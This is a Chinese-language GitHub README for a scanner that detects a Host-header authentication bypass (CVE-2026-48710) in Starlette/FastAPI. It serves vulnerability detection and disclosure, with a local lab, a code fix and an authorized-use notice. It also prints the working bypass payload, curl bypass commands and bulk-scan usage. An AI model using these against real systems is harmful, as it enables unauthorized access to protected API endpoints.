Bhanunamikaze/BadHost-CVE-2026-48710-Exploit
GitHub: Bhanunamikaze/BadHost-CVE-2026-48710-Exploit
针对 Starlette/FastAPI Host 标头认证绕过漏洞(CVE-2026-48710)的专用检测扫描器,支持 OpenAPI 端点自动发现和批量扫描。
Stars: 1 | Forks: 0
# BadHost — CVE-2026-48710 扫描器
用于检测 Starlette / FastAPI 中 **BadHost** 认证绕过漏洞的专用扫描器 —— 该漏洞存在于认证中间件读取 `request.url.path` 而非 `request.scope["path"]` 的情况下,允许通过伪造的 `Host` 标头 smuggle(夹带)白名单路径,进而绕过身份验证。
```
GET /admin HTTP/1.1
Host: api.internal/health?__badhost=
# Starlette 看到 request.url.path == "/health" → 允许
# ASGI 仍然路由到 /admin → 绕过
```
**受影响版本:** Starlette ≤ 0.46.1 / FastAPI ≤ 0.115.x
**修复版本:** Starlette 0.46.2+
## 功能
- 传入完整 URL(`https://host/path`)—— 自动提取路径作为探针
- 从 FastAPI/OpenAPI JSON 或 YAML 规范(文件或 URL)加载 endpoint
- 自动发现无需认证的路径,作为注入候选
- 同时测试 `Host` 和 `X-Forwarded-Host` 载体,涵盖两种 payload 策略
- 内置 AI/LLM(`--preset ai`)和 MCP(`--preset mcp`)endpoint 预设
- 输出:文本摘要、`--json`、`--csv`
- 实时扫描进度输出至 stderr;零第三方依赖
## 本地漏洞靶场(`badhost_vuln_lab/`)
内置两个 FastAPI 应用,用于本地验证:
| 应用 | URL | 认证读取方式 |
|-----|-----|-----------|
| 存在漏洞 | `http://127.0.0.1:8000` | `request.url.path` —— 可被绕过 |
| 已修复 | `http://127.0.0.1:8001` | `request.scope["path"]` —— 安全 |
```
cd badhost_vuln_lab
docker compose up --build
```
或者不使用 Docker:
```
pip install -r badhost_vuln_lab/requirements.txt
uvicorn badhost_vuln_lab.app_vulnerable:app --host 127.0.0.1 --port 8000
uvicorn badhost_vuln_lab.app_fixed:app --host 127.0.0.1 --port 8001
```
### 手动绕过测试
```
curl -i http://127.0.0.1:8000/admin # 403
curl -i -H "Host: 127.0.0.1:8000/health?x=" http://127.0.0.1:8000/admin # 200 — bypassed
curl -i -H "Host: 127.0.0.1:8001/health?x=" http://127.0.0.1:8001/admin # 403 — fixed
```
## 安装
```
git clone https://github.com/Bhanunamikaze/BadHost-CVE-2026-48710-Exploit.git
cd BadHost-CVE-2026-48710-Exploit
python badhost_openapi_scanner.py --help # Python 3.9+, no pip install needed
```
## 用法
```
# 单个完整 URL — 自动提取路径,无需额外 flags
python badhost_openapi_scanner.py https://api.internal/checkout/ai-builder
# 多个完整 URL
python badhost_openapi_scanner.py https://api.internal/admin https://api.internal/api/users
# 在完整 URL 之上添加额外路径
python badhost_openapi_scanner.py https://api.internal/checkout \
--protected POST:/api/checkout --protected GET:/api/cart
# 从本地 openapi.json 进行只读扫描
python badhost_openapi_scanner.py http://api.internal:8000 --openapi ./openapi.json
# 包含 write 方法(仅限 staging/authorized)
python badhost_openapi_scanner.py http://api.internal:8000 \
--openapi ./openapi.json --openapi-methods all \
--unsafe-allow-write --openapi-body-mode invalid
# 直接从目标获取 OpenAPI
python badhost_openapi_scanner.py http://api.internal:8000 \
--openapi http://api.internal:8000/openapi.json
# 多个目标,CSV 输出
python badhost_openapi_scanner.py --targets-file targets.txt \
--openapi ./openapi.json --csv > results.csv
# AI/LLM + MCP 预设路径(无需 OpenAPI)
python badhost_openapi_scanner.py http://api.internal:8000 --preset all
```
## 判定结果
| 判定 | 含义 |
|---------|---------|
| `CONFIRMED` | 基准测试返回 401/403 → 探测测试返回 2xx。**存在漏洞。** |
| `SUSPECT` | 基准测试返回 401/403 → 探测测试返回 404/405/422。认证网关似乎已绕过;请手动验证。来自 FastAPI 的 `422` 尤为关键。 |
| `REJECTED` | 代理在绕过前拒绝了格式错误的 Host(400/421) |
| `BLOCKED` | 伪造的请求仍被拒绝 |
| `OPEN` | 在无认证情况下已可访问 —— 与此 CVE 无关 |
输出中仅显示 `CONFIRMED` 和 `SUSPECT`。退出码 `2` = CONFIRMED,`1` = SUSPECT,`0` = 未发现异常。
## 修复方案
```
# 易受攻击
if request.url.path.startswith("/public"):
...
# 已修复
if request.scope["path"].startswith("/public"):
...
```
升级至 **Starlette 0.46.2+** / **FastAPI 0.116.0+**。
**仅供授权测试使用。请仅扫描您拥有或获得明确测试权限的系统。**
标签:AV绕过, CISA项目, FastAPI, Python, Web安全, 代码生成, 加密, 无后门, 渗透测试工具, 漏洞扫描器, 蓝队分析, 请求拦截, 身份认证绕过, 逆向工具